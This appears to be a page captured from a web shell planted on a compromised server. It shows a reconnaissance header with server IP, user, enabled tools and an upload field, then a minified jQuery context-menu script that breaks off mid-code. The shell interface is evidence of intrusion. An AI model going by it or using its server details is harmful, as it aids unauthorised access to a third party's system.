Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/contextMenu/static/ |
Upload File : |
!function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):"object"==typeof exports?factory(require("jquery")):factory(jQuery)}(function($){"use strict";$.support.htmlMenuitem="HTMLMenuItemElement"in window,$.support.htmlCommand="HTMLCommandElement"in window,$.support.eventSelectstart="onselectstart"in document.documentElement,$.ui&&$.widget||($.cleanData=(orig=$.cleanData,function(elems){for(var events,elem,i=0;null!=elems[i];i++){elem=elems[i];try{(events=$._data(elem,"events"))&&events.remove&&$(elem).triggerHandler("remove")}catch(e){}}orig(elems)}));var orig,$currentTrigger=null,initialized=!1,$win=$(window),counter=0,namespaces={},menus={},types={},defaults={selector:null,appendTo:null,trigger:"right",autoHide:!1,delay:200,reposition:!0,hideOnSecondTrigger:!1,selectableSubMenu:!1,classNames:{hover:"context-menu-hover",disabled:"context-menu-disabled",visible:"context-menu-visible",notSelectable:"context-menu-not-selectable",icon:"context-menu-icon",iconEdit:"context-menu-icon-edit",iconCut:"context-menu-icon-cut",iconCopy:"context-menu-icon-copy",iconPaste:"context-menu-icon-paste",iconDelete:"context-menu-icon-delete",iconAdd:"context-menu-icon-add",iconQuit:"context-menu-icon-quit",iconLoadingClass:"context-menu-icon-loading"},determinePosition:function($menu){var offset;$.ui&&$.ui.position?$menu.css("display","block").position({my:"center top",at:"center bottom",of:this,offset:"0 5",collision:"fit"}).css("display","none"):((offset=this.offset()).top+=this.outerHeight(),offset.left+=this.outerWidth()/2-$menu.outerWidth()/2,$menu.css(offset))},position:function(opt,x,y){var right,height,width;x||y?(x="maintain"===x&&"maintain"===y?opt.$menu.position():{top:y-(y=opt.$menu.offsetParent().offset()).top,left:x-y.left},y=$win.scrollTop()+$win.height(),right=$win.scrollLeft()+$win.width(),height=opt.$menu.outerHeight(),width=opt.$menu.outerWidth(),x.top+height>y&&(x.top-=height),x.top<0&&(x.top=0),x.left+width>right&&(x.left-=width),x.left<0&&(x.left=0),opt.$menu.css(x)):opt.determinePosition.call(this,opt.$menu)},positionSubmenu:function($menu){var offset;void 0!==$menu&&($.ui&&$.ui.position?$menu.css("display","block").position({my:"left top-5",at:"right top",of:this,collision:"flipfit fit"}).css("display",""):(offset={top:-9,left:this.outerWidth()-5},$menu.css(offset)))},zIndex:1,animation:{duration:50,show:"slideDown",hide:"slideUp"},events:{show:$.noop,hide:$.noop,activated:$.noop},callback:null,items:{}},hoveract={timer:null,pageX:null,pageY:null},handle={abortevent:function(e){e.preventDefault(),e.stopImmediatePropagation()},contextmenu:function(e){var $this=$(this);if("right"===e.data.trigger&&(e.preventDefault(),e.stopImmediatePropagation()),!("right"!==e.data.trigger&&"demand"!==e.data.trigger&&e.originalEvent||!(void 0===e.mouseButton||!e.data||"left"===e.data.trigger&&0===e.mouseButton||"right"===e.data.trigger&&2===e.mouseButton)||$this.hasClass("context-menu-active")||$this.hasClass("context-menu-disabled"))){if($currentTrigger=$this,e.data.build){var built=e.data.build($currentTrigger,e);if(!1===built)return;if(e.data=$.extend(!0,{},defaults,e.data,built||{}),!e.data.items||$.isEmptyObject(e.data.items))throw window.console&&(console.error||console.log).call(console,"No items specified to show in contextMenu"),new Error("No Items specified");e.data.$trigger=$currentTrigger,op.create(e.data)}op.show.call($this,e.data,e.pageX,e.pageY)}},click:function(e){e.preventDefault(),e.stopImmediatePropagation(),$(this).trigger($.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))},mousedown:function(e){var $this=$(this);$currentTrigger&&$currentTrigger.length&&!$currentTrigger.is($this)&&$currentTrigger.data("contextMenu").$menu.trigger("contextmenu:hide"),2===e.button&&($currentTrigger=$this.data("contextMenuActive",!0))},mouseup:function(e){var $this=$(this);$this.data("contextMenuActive")&&$currentTrigger&&$currentTrigger.length&&$currentTrigger.is($this)&&!$this.hasClass("context-menu-disabled")&&(e.preventDefault(),e.stopImmediatePropagation(),($currentTrigger=$this).trigger($.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))),$this.removeData("contextMenuActive")},mouseenter:function(e){var $this=$(this),$related=$(e.relatedTarget),$document=$(document);$related.is(".context-menu-list")||$related.closest(".context-menu-list").length||$currentTrigger&&$currentTrigger.length||(hoveract.pageX=e.pageX,hoveract.pageY=e.pageY,hoveract.data=e.data,$document.on("mousemove.contextMenuShow",handle.mousemove),hoveract.timer=setTimeout(function(){hoveract.timer=null,$document.off("mousemove.contextMenuShow"),($currentTrigger=$this).trigger($.Event("contextmenu",{data:hoveract.data,pageX:hoveract.pageX,pageY:hoveract.pageY}))},e.data.delay))},mousemove:function(e){hoveract.pageX=e.pageX,hoveract.pageY=e.pageY},mouseleave:function(e){var $related=$(e.relatedTarget);if(!$related.is(".context-menu-list")&&!$related.closest(".context-menu-list").length){try{clearTimeout(hoveract.timer)}catch(e){}hoveract.timer=null}},layerClick:function(e){var target,offset,root=$(this).data("contextMenuRoot"),button=e.button,x=e.pageX,y=e.pageY,fakeClick=void 0===x;e.preventDefault(),setTimeout(function(){if(fakeClick)null!=root&&null!==root.$menu&&void 0!==root.$menu&&root.$menu.trigger("contextmenu:hide");else{var range,sel,triggerAction="left"===root.trigger&&0===button||"right"===root.trigger&&2===button;if(document.elementFromPoint&&root.$layer&&(root.$layer.hide(),(target=document.elementFromPoint(x-$win.scrollLeft(),y-$win.scrollTop())).isContentEditable&&(range=document.createRange(),sel=window.getSelection(),range.selectNode(target),range.collapse(!0),sel.removeAllRanges(),sel.addRange(range)),$(target).trigger(e),root.$layer.show()),root.hideOnSecondTrigger&&triggerAction&&null!==root.$menu&&void 0!==root.$menu)root.$menu.trigger("contextmenu:hide");else{if(root.reposition&&triggerAction)if(document.elementFromPoint){if(root.$trigger.is(target))return void root.position.call(root.$trigger,root,x,y)}else if(offset=root.$trigger.offset(),sel=$(window),offset.top+=sel.scrollTop(),offset.top<=e.pageY&&(offset.left+=sel.scrollLeft(),offset.left<=e.pageX)&&(offset.bottom=offset.top+root.$trigger.outerHeight(),offset.bottom>=e.pageY)&&(offset.right=offset.left+root.$trigger.outerWidth(),offset.right>=e.pageX))return void root.position.call(root.$trigger,root,x,y);target&&triggerAction&&root.$trigger.one("contextmenu:hidden",function(){$(target).contextMenu({x:x,y:y,button:button})}),null!=root&&null!==root.$menu&&void 0!==root.$menu&&root.$menu.trigger("contextmenu:hide")}}},50)},keyStop:function(e,opt){opt.isInput||e.preventDefault(),e.stopPropagation()},key:function(e){function getZIndexOfTriggerTarget(target){""!==target.style.zIndex?targetZIndex=target.style.zIndex:null!==target.offsetParent&&void 0!==target.offsetParent?getZIndexOfTriggerTarget(target.offsetParent):null!==target.parentElement&&void 0!==target.parentElement&&getZIndexOfTriggerTarget(target.parentElement)}var opt={},targetZIndex=(void 0===(opt=$currentTrigger?$currentTrigger.data("contextMenu")||{}:opt).zIndex&&(opt.zIndex=0),0);if(getZIndexOfTriggerTarget(e.target),!(opt.$menu&&parseInt(targetZIndex,10)>parseInt(opt.$menu.css("zIndex"),10))){switch(e.keyCode){case 9:case 38:if(handle.keyStop(e,opt),opt.isInput){if(9===e.keyCode&&e.shiftKey)return e.preventDefault(),opt.$selected&&opt.$selected.find("input, textarea, select").blur(),void(null!==opt.$menu&&void 0!==opt.$menu&&opt.$menu.trigger("prevcommand"));if(38===e.keyCode&&"checkbox"===opt.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault()}else if(9!==e.keyCode||e.shiftKey)return void(null!==opt.$menu&&void 0!==opt.$menu&&opt.$menu.trigger("prevcommand"));break;case 40:if(handle.keyStop(e,opt),!opt.isInput)return void(null!==opt.$menu&&void 0!==opt.$menu&&opt.$menu.trigger("nextcommand"));if(9===e.keyCode)return e.preventDefault(),opt.$selected&&opt.$selected.find("input, textarea, select").blur(),void(null!==opt.$menu&&void 0!==opt.$menu&&opt.$menu.trigger("nextcommand"));if(40===e.keyCode&&"checkbox"===opt.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault();break;case 37:if(handle.keyStop(e,opt),opt.isInput||!opt.$selected||!opt.$selected.length)break;if(opt.$selected.parent().hasClass("context-menu-root"))break;return $parent=opt.$selected.parent().parent(),opt.$selected.trigger("contextmenu:blur"),void(opt.$selected=$parent);case 39:if(handle.keyStop(e,opt),!opt.isInput&&opt.$selected&&opt.$selected.length){var $parent=opt.$selected.data("contextMenu")||{};if($parent.$menu&&opt.$selected.hasClass("context-menu-submenu"))return opt.$selected=null,$parent.$selected=null,void $parent.$menu.trigger("nextcommand")}break;case 35:case 36:return opt.$selected&&opt.$selected.find("input, textarea, select").length?void 0:((opt.$selected&&opt.$selected.parent()||opt.$menu).children(":not(."+opt.classNames.disabled+", ."+opt.classNames.notSelectable+")")[36===e.keyCode?"first":"last"]().trigger("contextmenu:focus"),void e.preventDefault());case 13:if(handle.keyStop(e,opt),opt.isInput){if(opt.$selected&&!opt.$selected.is("textarea, select"))return void e.preventDefault();break}return void(void 0!==opt.$selected&&null!==opt.$selected&&opt.$selected.trigger("mouseup"));case 32:case 33:case 34:return void handle.keyStop(e,opt);case 27:return handle.keyStop(e,opt),void(null!==opt.$menu&&void 0!==opt.$menu&&opt.$menu.trigger("contextmenu:hide"));default:$parent=String.fromCharCode(e.keyCode).toUpperCase();if(opt.accesskeys&&opt.accesskeys[$parent])return void opt.accesskeys[$parent].$node.trigger(opt.accesskeys[$parent].$menu?"contextmenu:focus":"mouseup")}e.stopPropagation(),void 0!==opt.$selected&&null!==opt.$selected&&opt.$selected.trigger(e)}},prevItem:function(e){e.stopPropagation();for(var opt=$(this).data("contextMenu")||{},root=$(this).data("contextMenuRoot")||{},$children=(opt.$selected&&($s=opt.$selected,(opt=opt.$selected.parent().data("contextMenu")||{}).$selected=$s),opt.$menu.children()),$prev=opt.$selected&&opt.$selected.prev().length?opt.$selected.prev():$children.last(),$round=$prev;$prev.hasClass(root.classNames.disabled)||$prev.hasClass(root.classNames.notSelectable)||$prev.is(":hidden");)if(($prev=$prev.prev().length?$prev.prev():$children.last()).is($round))return;opt.$selected&&handle.itemMouseleave.call(opt.$selected.get(0),e),handle.itemMouseenter.call($prev.get(0),e);var $s=$prev.find("input, textarea, select");$s.length&&$s.focus()},nextItem:function(e){e.stopPropagation();for(var opt=$(this).data("contextMenu")||{},root=$(this).data("contextMenuRoot")||{},$children=(opt.$selected&&($s=opt.$selected,(opt=opt.$selected.parent().data("contextMenu")||{}).$selected=$s),opt.$menu.children()),$next=opt.$selected&&opt.$selected.next().length?opt.$selected.next():$children.first(),$round=$next;$next.hasClass(root.classNames.disabled)||$next.hasClass(root.classNames.notSelectable)||$next.is(":hidden");)if(($next=$next.next().length?$next.next():$children.first()).is($round))return;opt.$selected&&handle.itemMouseleave.call(opt.$selected.get(0),e),handle.itemMouseenter.call($next.get(0),e);var $s=$next.find("input, textarea, select");$s.length&&$s.focus()},focusInput:function(){var $this=$(this).closest(".context-menu-item"),data=$this.data(),opt=data.contextMenu,data=data.contextMenuRoot;data.$selected=opt.$selected=$this,data.isInput=opt.isInput=!0},blurInput:function(){var data=$(this).closest(".context-menu-item").data(),opt=data.contextMenu;data.contextMenuRoot.isInput=opt.isInput=!1},menuMouseenter:function(){$(this).data().contextMenuRoot.hovering=!0},menuMouseleave:function(e){var root=$(this).data().contextMenuRoot;root.$layer&&root.$layer.is(e.relatedTarget)&&(root.hovering=!1)},itemMouseenter:function(e){var $this=$(this),data=$this.data(),opt=data.contextMenu,data=data.contextMenuRoot;data.hovering=!0,e&&data.$layer&&data.$layer.is(e.relatedTarget)&&(e.preventDefault(),e.stopImmediatePropagation()),(opt.$menu?opt:data).$menu.children("."+data.classNames.hover).trigger("contextmenu:blur").children(".hover").trigger("contextmenu:blur"),$this.hasClass(data.classNames.disabled)||$this.hasClass(data.classNames.notSelectable)?opt.$selected=null:$this.trigger("contextmenu:focus")},itemMouseleave:function(e){var $this=$(this),data=$this.data(),opt=data.contextMenu,data=data.contextMenuRoot;data!==opt&&data.$layer&&data.$layer.is(e.relatedTarget)?(void 0!==data.$selected&&null!==data.$selected&&data.$selected.trigger("contextmenu:blur"),e.preventDefault(),e.stopImmediatePropagation(),data.$selected=opt.$selected=opt.$node):opt&&opt.$menu&&opt.$menu.hasClass("context-menu-visible")||$this.trigger("contextmenu:blur")},itemClick:function(e){var callback,$this=$(this),data=$this.data(),opt=data.contextMenu,root=data.contextMenuRoot,data=data.contextMenuKey;if(!(!opt.items[data]||$this.is("."+root.classNames.disabled+", .context-menu-separator, ."+root.classNames.notSelectable)||$this.is(".context-menu-submenu")&&!1===root.selectableSubMenu)){if(e.preventDefault(),e.stopImmediatePropagation(),$.isFunction(opt.callbacks[data])&&Object.prototype.hasOwnProperty.call(opt.callbacks,data))callback=opt.callbacks[data];else{if(!$.isFunction(root.callback))return;callback=root.callback}!1!==callback.call(root.$trigger,data,root,e)?root.$menu.trigger("contextmenu:hide"):root.$menu.parent().length&&op.update.call(root.$trigger,root)}},inputClick:function(e){e.stopImmediatePropagation()},hideMenu:function(e,data){var root=$(this).data("contextMenuRoot");op.hide.call(root.$trigger,root,data&&data.force)},focusItem:function(e){e.stopPropagation();var e=$(this),data=e.data(),opt=data.contextMenu,data=data.contextMenuRoot;e.hasClass(data.classNames.disabled)||e.hasClass(data.classNames.notSelectable)||(e.addClass([data.classNames.hover,data.classNames.visible].join(" ")).parent().find(".context-menu-item").not(e).removeClass(data.classNames.visible).filter("."+data.classNames.hover).trigger("contextmenu:blur"),opt.$selected=data.$selected=e,opt&&opt.$node&&opt.$node.hasClass("context-menu-submenu")&&opt.$node.addClass(data.classNames.hover),opt.$node&&data.positionSubmenu.call(opt.$node,opt.$menu))},blurItem:function(e){e.stopPropagation();var e=$(this),data=e.data(),opt=data.contextMenu,data=data.contextMenuRoot;opt.autoHide&&e.removeClass(data.classNames.visible),e.removeClass(data.classNames.hover),opt.$selected=null}},op={show:function(opt,x,y){var $trigger=$(this),css={};$("#context-menu-layer").trigger("mousedown"),opt.$trigger=$trigger,!1===opt.events.show.call($trigger,opt)||!1===op.update.call($trigger,opt)?$currentTrigger=null:(opt.position.call($trigger,opt,x,y),opt.zIndex&&(x=opt.zIndex,"function"==typeof opt.zIndex&&(x=opt.zIndex.call($trigger,opt)),css.zIndex=function($t){for(var zin=0,$tt=$t;zin=Math.max(zin,parseInt($tt.css("z-index"),10)||0),($tt=$tt.parent())&&$tt.length&&!(-1<"html body".indexOf($tt.prop("nodeName").toLowerCase())););return zin}($trigger)+x),op.layer.call(opt.$menu,opt,css.zIndex),opt.$menu.find("ul").css("zIndex",css.zIndex+1),opt.$menu.css(css)[opt.animation.show](opt.animation.duration,function(){$trigger.trigger("contextmenu:visible"),op.activated(opt),opt.events.activated(opt)}),$trigger.data("contextMenu",opt).addClass("context-menu-active"),$(document).off("keydown.contextMenu").on("keydown.contextMenu",handle.key),opt.autoHide&&$(document).on("mousemove.contextMenuAutoHide",function(e){var pos=$trigger.offset();pos.right=pos.left+$trigger.outerWidth(),pos.bottom=pos.top+$trigger.outerHeight(),!opt.$layer||opt.hovering||e.pageX>=pos.left&&e.pageX<=pos.right&&e.pageY>=pos.top&&e.pageY<=pos.bottom||setTimeout(function(){opt.hovering||null===opt.$menu||void 0===opt.$menu||opt.$menu.trigger("contextmenu:hide")},50)}))},hide:function(opt,force){var $layer,$trigger=$(this);if(opt=opt||$trigger.data("contextMenu")||{},force||!opt.events||!1!==opt.events.hide.call($trigger,opt)){if($trigger.removeData("contextMenu").removeClass("context-menu-active"),opt.$layer){setTimeout(($layer=opt.$layer,function(){$layer.remove()}),10);try{delete opt.$layer}catch(e){opt.$layer=null}}$currentTrigger=null,opt.$menu.find("."+opt.classNames.hover).trigger("contextmenu:blur"),opt.$selected=null,opt.$menu.find("."+opt.classNames.visible).removeClass(opt.classNames.visible),$(document).off(".contextMenuAutoHide").off("keydown.contextMenu"),opt.$menu&&opt.$menu[opt.animation.hide](opt.animation.duration,function(){opt.build&&(opt.$menu.remove(),$.each(opt,function(key){switch(key){case"ns":case"selector":case"build":case"trigger":return!0;default:opt[key]=void 0;try{delete opt[key]}catch(e){}return!0}})),setTimeout(function(){$trigger.trigger("contextmenu:hidden")},10)})}},create:function(opt,root){function createNameNode(item){var $name=$("<span></span>");if(item._accesskey)item._beforeAccesskey&&$name.append(document.createTextNode(item._beforeAccesskey)),$("<span></span>").addClass("context-menu-accesskey").text(item._accesskey).appendTo($name),item._afterAccesskey&&$name.append(document.createTextNode(item._afterAccesskey));else if(item.isHtmlName){if(void 0!==item.accesskey)throw new Error("accesskeys are not compatible with HTML names and cannot be used together in the same item");$name.html(item.name)}else $name.text(item.name);return $name}void 0===root&&(root=opt),opt.$menu=$('<ul class="context-menu-list"></ul>').addClass(opt.className||"").data({contextMenu:opt,contextMenuRoot:root}),$.each(["callbacks","commands","inputs"],function(i,k){opt[k]={},root[k]||(root[k]={})}),root.accesskeys||(root.accesskeys={}),$.each(opt.items,function(key,item){var $t=$('<li class="context-menu-item"></li>').addClass(item.className||""),$label=null,$input=null;if($t.on("click",$.noop),(item="string"!=typeof item&&"cm_separator"!==item.type?item:{type:"cm_seperator"}).$node=$t.data({contextMenu:opt,contextMenuRoot:root,contextMenuKey:key}),void 0!==item.accesskey)for(var aks=function(val){for(var k,t=val.split(/\s+/),keys=[],i=0;k=t[i];i++)k=k.charAt(0).toUpperCase(),keys.push(k);return keys}(item.accesskey),i=0;ak=aks[i];i++)if(!root.accesskeys[ak]){var ak=(root.accesskeys[ak]=item).name.match(new RegExp("^(.*?)("+ak+")(.*)$","i"));ak&&(item._beforeAccesskey=ak[1],item._accesskey=ak[2],item._afterAccesskey=ak[3]);break}if(item.type&&types[item.type])types[item.type].call($t,item,opt,root),$.each([opt,root],function(i,k){k.commands[key]=item,!$.isFunction(item.callback)||void 0!==k.callbacks[key]&&void 0!==opt.type||(k.callbacks[key]=item.callback)});else{switch("cm_seperator"===item.type?$t.addClass("context-menu-separator "+root.classNames.notSelectable):"html"===item.type?$t.addClass("context-menu-html "+root.classNames.notSelectable):"sub"!==item.type&&item.type?($label=$("<label></label>").appendTo($t),createNameNode(item).appendTo($label),$t.addClass("context-menu-input"),opt.hasTypes=!0,$.each([opt,root],function(i,k){k.commands[key]=item,k.inputs[key]=item})):item.items&&(item.type="sub"),item.type){case"cm_seperator":break;case"text":$input=$('<input type="text" value="1" name="" />').attr("name","context-menu-input-"+key).val(item.value||"").appendTo($label);break;case"textarea":$input=$('<textarea name=""></textarea>').attr("name","context-menu-input-"+key).val(item.value||"").appendTo($label),item.height&&$input.height(item.height);break;case"checkbox":$input=$('<input type="checkbox" value="1" name="" />').attr("name","context-menu-input-"+key).val(item.value||"").prop("checked",!!item.selected).prependTo($label);break;case"radio":$input=$('<input type="radio" value="1" name="" />').attr("name","context-menu-input-"+item.radio).val(item.value||"").prop("checked",!!item.selected).prependTo($label);break;case"select":$input=$('<select name=""></select>').attr("name","context-menu-input-"+key).appendTo($label),item.options&&($.each(item.options,function(value,text){$("<option></option>").val(value).text(text).appendTo($input)}),$input.val(item.selected));break;case"sub":createNameNode(item).appendTo($t),item.appendTo=item.$node,$t.data("contextMenu",item).addClass("context-menu-submenu"),item.callback=null,"function"==typeof item.items.then?op.processPromises(item,root,item.items):op.create(item,root);break;case"html":$(item.html).appendTo($t);break;default:$.each([opt,root],function(i,k){k.commands[key]=item,!$.isFunction(item.callback)||void 0!==k.callbacks[key]&&void 0!==opt.type||(k.callbacks[key]=item.callback)}),createNameNode(item).appendTo($t)}item.type&&"sub"!==item.type&&"html"!==item.type&&"cm_seperator"!==item.type&&($input.on("focus",handle.focusInput).on("blur",handle.blurInput),item.events)&&$input.on(item.events,opt),item.icon&&($.isFunction(item.icon)?item._icon=item.icon.call(this,this,$t,key,item):"string"!=typeof item.icon||"fab "!==item.icon.substring(0,4)&&"fas "!==item.icon.substring(0,4)&&"far "!==item.icon.substring(0,4)&&"fal "!==item.icon.substring(0,4)?"string"==typeof item.icon&&"fa-"===item.icon.substring(0,3)?item._icon=root.classNames.icon+" "+root.classNames.icon+"--fa fa "+item.icon:item._icon=root.classNames.icon+" "+root.classNames.icon+"-"+item.icon:($t.addClass(root.classNames.icon+" "+root.classNames.icon+"--fa5"),item._icon=$('<i class="'+item.icon+'"></i>')),"string"==typeof item._icon?$t.addClass(item._icon):$t.prepend(item._icon))}item.$input=$input,item.$label=$label,$t.appendTo(opt.$menu),!opt.hasTypes&&$.support.eventSelectstart&&$t.on("selectstart.disableTextSelect",handle.abortevent)}),opt.$node||opt.$menu.css("display","none").addClass("context-menu-root"),opt.$menu.appendTo(opt.appendTo||document.body)},resize:function($menu,nested){var domMenu;$menu.css({position:"absolute",display:"block"}),$menu.data("width",(domMenu=$menu.get(0)).getBoundingClientRect?Math.ceil(domMenu.getBoundingClientRect().width):$menu.outerWidth()+1),$menu.css({position:"static",minWidth:"0px",maxWidth:"100000px"}),$menu.find("> li > ul").each(function(){op.resize($(this),!0)}),nested||$menu.find("ul").addBack().css({position:"",display:"",minWidth:"",maxWidth:""}).outerWidth(function(){return $(this).data("width")})},update:function(opt,root){var $trigger=this,hasVisibleItems=(void 0===root&&(root=opt,op.resize(opt.$menu)),!1);return opt.$menu.children().each(function(){var $item=$(this),key=$item.data("contextMenuKey"),item=opt.items[key],disabled=$.isFunction(item.disabled)&&item.disabled.call($trigger,key,root)||!0===item.disabled,visible=$.isFunction(item.visible)?item.visible.call($trigger,key,root):void 0===item.visible||!0===item.visible;if(visible&&(hasVisibleItems=!0),$item[visible?"show":"hide"](),$item[disabled?"addClass":"removeClass"](root.classNames.disabled),$.isFunction(item.icon)&&($item.removeClass(item._icon),"string"==typeof(visible=item.icon.call(this,$trigger,$item,key,item))?$item.addClass(visible):$item.prepend(visible)),item.type)switch($item.find("input, select, textarea").prop("disabled",disabled),item.type){case"text":case"textarea":item.$input.val(item.value||"");break;case"checkbox":case"radio":item.$input.val(item.value||"").prop("checked",!!item.selected);break;case"select":item.$input.val((0===item.selected?"0":item.selected)||"")}item.$menu&&op.update.call($trigger,item,root)&&(hasVisibleItems=!0)}),hasVisibleItems},layer:function(opt,zIndex){zIndex=opt.$layer=$('<div id="context-menu-layer"></div>').css({height:$win.height(),width:$win.width(),display:"block",position:"fixed","z-index":zIndex,top:0,left:0,opacity:0,filter:"alpha(opacity=0)","background-color":"#000"}).data("contextMenuRoot",opt).insertBefore(this).on("contextmenu",handle.abortevent).on("mousedown",handle.layerClick);return void 0===document.body.style.maxWidth&&zIndex.css({position:"absolute",height:$(document).height()}),zIndex},processPromises:function(opt,root,promise){function errorPromise(opt,root,errorItem){void 0===errorItem?(errorItem={error:{name:"No items and no error item",icon:"context-menu-icon context-menu-icon-quit"}},window.console&&(console.error||console.log).call(console,'When you reject a promise, provide an "items" object, equal to normal sub-menu items')):"string"==typeof errorItem&&(errorItem={error:{name:errorItem}}),finishPromiseProcess(opt,root,errorItem)}function finishPromiseProcess(opt,root,items){void 0!==root.$menu&&root.$menu.is(":visible")&&(opt.$node.removeClass(root.classNames.iconLoadingClass),opt.items=items,op.create(opt,root,!0),op.update(opt,root),root.positionSubmenu.call(opt.$node,opt.$menu))}opt.$node.addClass(root.classNames.iconLoadingClass),promise.then(function(opt,root,items){void 0===items&&errorPromise(void 0),finishPromiseProcess(opt,root,items)}.bind(this,opt,root),errorPromise.bind(this,opt,root))},activated:function(opt){var opt=opt.$menu,$menuOffset=opt.offset(),winHeight=$(window).height(),winScrollTop=$(window).scrollTop(),menuHeight=opt.height();winHeight<menuHeight?opt.css({height:winHeight+"px","overflow-x":"hidden","overflow-y":"auto",top:winScrollTop+"px"}):($menuOffset.top<winScrollTop||$menuOffset.top+menuHeight>winScrollTop+winHeight)&&opt.css({top:"0px"})}};function inputLabel(node){return node.id&&$('label[for="'+node.id+'"]').val()||node.name}$.fn.contextMenu=function(operation){var $menu,$t=this,$o=operation;return 0<this.length?void 0===operation?this.first().trigger("contextmenu"):void 0!==operation.x&&void 0!==operation.y?this.first().trigger($.Event("contextmenu",{pageX:operation.x,pageY:operation.y,mouseButton:operation.button})):"hide"===operation?($menu=this.first().data("contextMenu")?this.first().data("contextMenu").$menu:null)&&$menu.trigger("contextmenu:hide"):"destroy"===operation?$.contextMenu("destroy",{context:this}):$.isPlainObject(operation)?(operation.context=this,$.contextMenu("create",operation)):operation?this.removeClass("context-menu-disabled"):this.addClass("context-menu-disabled"):($.each(menus,function(){this.selector===$t.selector&&($o.data=this,$.extend($o.data,{trigger:"demand"}))}),handle.contextmenu.call($o.target,$o)),this},$.contextMenu=function(operation,options){"string"!=typeof operation&&(options=operation,operation="create"),"string"==typeof options?options={selector:options}:void 0===options&&(options={});var contextMenuItemObj,o=$.extend(!0,{},defaults,options||{}),$document=$(document),$context=$document,_hasContext=!1;switch(o.context&&o.context.length?($context=$(o.context).first(),o.context=$context.get(0),_hasContext=!$(o.context).is(document)):o.context=document,operation){case"update":if(_hasContext)op.update($context);else for(var menu in menus)menus.hasOwnProperty(menu)&&op.update(menus[menu]);break;case"create":if(!o.selector)throw new Error("No selector specified");if("string"==typeof o.selector&&o.selector.match(/.context-menu-(list|item|input)($|\s)/))throw new Error('Cannot bind to selector "'+o.selector+'" as it contains a reserved className');if(!o.build&&(!o.items||$.isEmptyObject(o.items)))throw new Error("No Items specified");if(counter++,o.ns=".contextMenu"+counter,_hasContext||("string"==typeof o.selector?namespaces[o.selector]=o.ns:o.selector.x_namespace=o.ns),(menus[o.ns]=o).trigger||(o.trigger="right"),initialized||(itemClick="click"===o.itemClickEvent?"click.contextMenu":"mouseup.contextMenu",(contextMenuItemObj={"contextmenu:focus.contextMenu":handle.focusItem,"contextmenu:blur.contextMenu":handle.blurItem,"contextmenu.contextMenu":handle.abortevent,"mouseenter.contextMenu":handle.itemMouseenter,"mouseleave.contextMenu":handle.itemMouseleave})[itemClick]=handle.itemClick,$document.on({"contextmenu:hide.contextMenu":handle.hideMenu,"prevcommand.contextMenu":handle.prevItem,"nextcommand.contextMenu":handle.nextItem,"contextmenu.contextMenu":handle.abortevent,"mouseenter.contextMenu":handle.menuMouseenter,"mouseleave.contextMenu":handle.menuMouseleave},".context-menu-list").on("mouseup.contextMenu",".context-menu-input",handle.inputClick).on(contextMenuItemObj,".context-menu-item"),initialized=!0),"string"==typeof o.selector)switch($context.on("contextmenu"+o.ns,o.selector,o,handle.contextmenu),_hasContext&&$context.on("remove"+o.ns,function(){$(this).contextMenu("destroy")}),o.trigger){case"hover":$context.on("mouseenter"+o.ns,o.selector,o,handle.mouseenter).on("mouseleave"+o.ns,o.selector,o,handle.mouseleave);break;case"left":$context.on("click"+o.ns,o.selector,o,handle.click);break;case"touchstart":$context.on("touchstart"+o.ns,o.selector,o,handle.click)}else o.selector instanceof jQuery&&o.selector.each(function(){var $this=$(this);if(void 0===$this.data("bound"))switch($this.data("bound",1),$this.on("contextmenu"+o.ns,o,handle.contextmenu),_hasContext&&$context.on("remove"+o.ns,function(){$(this).contextMenu("destroy")}),o.trigger){case"hover":$this.on("mouseenter"+o.ns,o,handle.mouseenter).on("mouseleave"+o.ns,o,handle.mouseleave);break;case"left":$this.on("click"+o.ns,o,handle.click);break;case"touchstart":$this.on("touchstart"+o.ns,o,handle.click)}});o.build||op.create(o);break;case"destroy":if(_hasContext){var context=o.context;$.each(menus,function(ns,o){if(o&&$(context).is(o.selector)){($visibleMenu=$(".context-menu-list").filter(":visible")).length&&$visibleMenu.data().contextMenuRoot.$trigger.is($(o.context).find(o.selector))&&$visibleMenu.trigger("contextmenu:hide",{force:!0});try{menus[o.ns].$menu&&menus[o.ns].$menu.remove(),delete menus[o.ns]}catch(e){menus[o.ns]=null}$(o.context).off(o.ns)}return!0})}else if(o.selector){if("string"==typeof o.selector&&namespaces[o.selector]){($visibleMenu=$(".context-menu-list").filter(":visible")).length&&$visibleMenu.data().contextMenuRoot.$trigger.is(o.selector)&&$visibleMenu.trigger("contextmenu:hide",{force:!0});try{menus[namespaces[o.selector]].$menu&&menus[namespaces[o.selector]].$menu.remove(),delete menus[namespaces[o.selector]]}catch(e){menus[namespaces[o.selector]]=null}$document.off(namespaces[o.selector])}else if(o.selector.x_namespace){var $visibleMenu,itemClick=o.selector.x_namespace;($visibleMenu=$(".context-menu-list").filter(":visible")).length&&$visibleMenu.data().contextMenuRoot.$trigger.is(o.selector)&&$visibleMenu.trigger("contextmenu:hide",{force:!0});try{menus[itemClick].$menu&&menus[itemClick].$menu.remove(),delete menus[itemClick]}catch(e){menus[itemClick]=null}$document.off(itemClick)}}else $document.off(".contextMenu .contextMenuAutoHide"),$.each(menus,function(ns,o){$(o.context).off(o.ns)}),namespaces={},counter=0,initialized=!(menus={}),$("#context-menu-layer, 